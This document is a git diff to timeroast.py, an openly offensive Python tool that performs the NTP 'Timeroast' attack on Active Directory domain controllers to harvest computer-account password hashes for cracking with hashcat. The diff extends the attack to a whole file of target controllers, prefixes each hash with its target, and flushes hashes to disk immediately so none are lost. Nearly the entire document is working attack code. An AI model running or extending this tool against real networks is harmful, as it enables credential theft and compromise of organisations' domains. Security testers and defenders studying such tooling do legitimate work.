diff --git a/timeroast.py b/timeroast.py
index 2fcc9c8..a1e9d78 100755
--- a/timeroast.py
+++ b/timeroast.py
@@ -17,9 +17,9 @@
 DEFAULT_RATE = 180
 DEFAULT_GIVEUP_TIME = 24
 
-def hashcat_format(rid : int, hashval : bytes, salt : bytes) -> str:
-  """Encodes hash in Hashcat-compatible format (with username prefix)."""
-  return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}'
+def hashcat_format(target : str, rid : int, hashval : bytes, salt : bytes) -> str:
+  """Encodes hash in Hashcat-compatible format (with target and username prefix to prevent duplicates across domains)."""
+  return f'{target}_{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}'
 
 
 def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float, old_pwd : bool, src_port : int = 0) -> List[Tuple[int, bytes, bytes]]:
@@ -71,12 +71,29 @@ def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float, o
             yield (answer_rid, md5hash, salt)
           last_ok_time = time()
 
+def parse_rids(arg):
+  """Parses the comma-seperated integer ranges into an iterator."""
+  try:
+    ranges = []
+    for part in arg.split(','):
+      if '-' in part:
+        [start, end] = part.split('-')
+        assert 0 <= int(start) < int(end) < 2**31
+        ranges.append(range(int(start), int(end) + 1))
+      else:
+        assert 0 <= int(part) < 2**31
+        ranges.append([int(part)])
+
+    return chain(*ranges)
+  except:
+    raise ArgumentTypeError(f'Invalid number ranges: "{arg}".')
+
 def get_args():
   """Parse command-line arguments."""
 
   argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
 """Performs an NTP 'Timeroast' attack against a domain controller. 
-Outputs the resulting hashes in the hashcat format 31300 with the --username flag ("<RID>:$sntp-ms$<hash>$<salt>").
+Outputs the resulting hashes in the hashcat format 31300 with the --username flag ("<TARGET>_<RID>:$sntp-ms$<hash>$<salt>").
 
 Usernames within the hash file are user RIDs. In order to use a cracked 
 password that does not contain the computer name, either look up the RID
@@ -88,25 +105,6 @@ def get_args():
 """
   )
 
-
-  def num_ranges(arg):
-    # Comma-seperated integer ranges.
-    try:
-      ranges = []
-      for part in arg.split(','):
-        if '-' in part:
-          [start, end] = part.split('-')
-          assert 0 <= int(start) < int(end) < 2**31
-          ranges.append(range(int(start), int(end) + 1))
-        else:
-          assert 0 <= int(part) < 2**31
-          ranges.append([int(part)])
-
-      return chain(*ranges)
-    except:
-      raise ArgumentTypeError(f'Invalid number ranges: "{arg}".')
-
-
   # Configurable options.
   argparser.add_argument(
     '-o', '--out', 
@@ -115,7 +113,7 @@ def num_ranges(arg):
   )
   argparser.add_argument(
     '-r', '--rids',
-    type=num_ranges, default=range(1, 2**31), metavar='RIDS',
+    type=str, default='1-2147483647', metavar='RIDS',
     help='Comma-separated list of RIDs to try. Use hypens to specify (inclusive) ranges, e.g. "512-580,600-1400". ' +\
          'By default, all possible RIDs will be tried until timeout.'
   )
@@ -141,10 +139,16 @@ def num_ranges(arg):
     help='NTP source port to use. A dynamic unprivileged port is chosen by default. Could be set to 123 to get around a strict firewall.'
   )
 
-  # Required arguments.
-  argparser.add_argument(
-    'dc',
-    help='Hostname or IP address of a domain controller that acts as NTP server.'
+  # Target grouping (Single DC vs Target File)
+  target_group = argparser.add_mutually_exclusive_group(required=True)
+  target_group.add_argument(
+    'dc', nargs='?',
+    help='Hostname or IP address of a single domain controller that acts as NTP server.'
+  )
+  target_group.add_argument(
+    '-tf', '--target-file',
+    type=FileType('r'), metavar='FILE',
+    help='File containing a list of target DCs (one IP/hostname per line).'
   )
 
   return argparser.parse_args()
@@ -155,9 +159,26 @@ def main():
   
   args = get_args()
   output = args.out
-  for rid, hashval, salt in ntp_roast(args.dc, args.rids, args.rate, args.timeout, args.old_hashes, args.src_port):
-    print(hashcat_format(rid, hashval, salt), file=output)
   
+  # Build target list based on arguments
+  targets = []
+  if args.target_file:
+    targets = [line.strip() for line in args.target_file if line.strip()]
+  elif args.dc:
+    targets = [args.dc]
+
+  # Loop through all targets
+  for target in targets:
+    print(f"[*] Timeroasting {target}...", file=stderr) # Printed to stderr so it doesn't corrupt stdout hashcat files
+    
+    # We parse RIDs inside the loop so the generator gets refreshed for every new target
+    rids_iterator = parse_rids(args.rids)
+    
+    for rid, hashval, salt in ntp_roast(target, rids_iterator, args.rate, args.timeout, args.old_hashes, args.src_port):
+      print(hashcat_format(target, rid, hashval, salt), file=output)
+      output.flush() # Force write out to file immediately so we don't lose hashes if manually cancelled
+  
+  print("[*] Finished.", file=stderr)
 
 if __name__ == '__main__':
   main()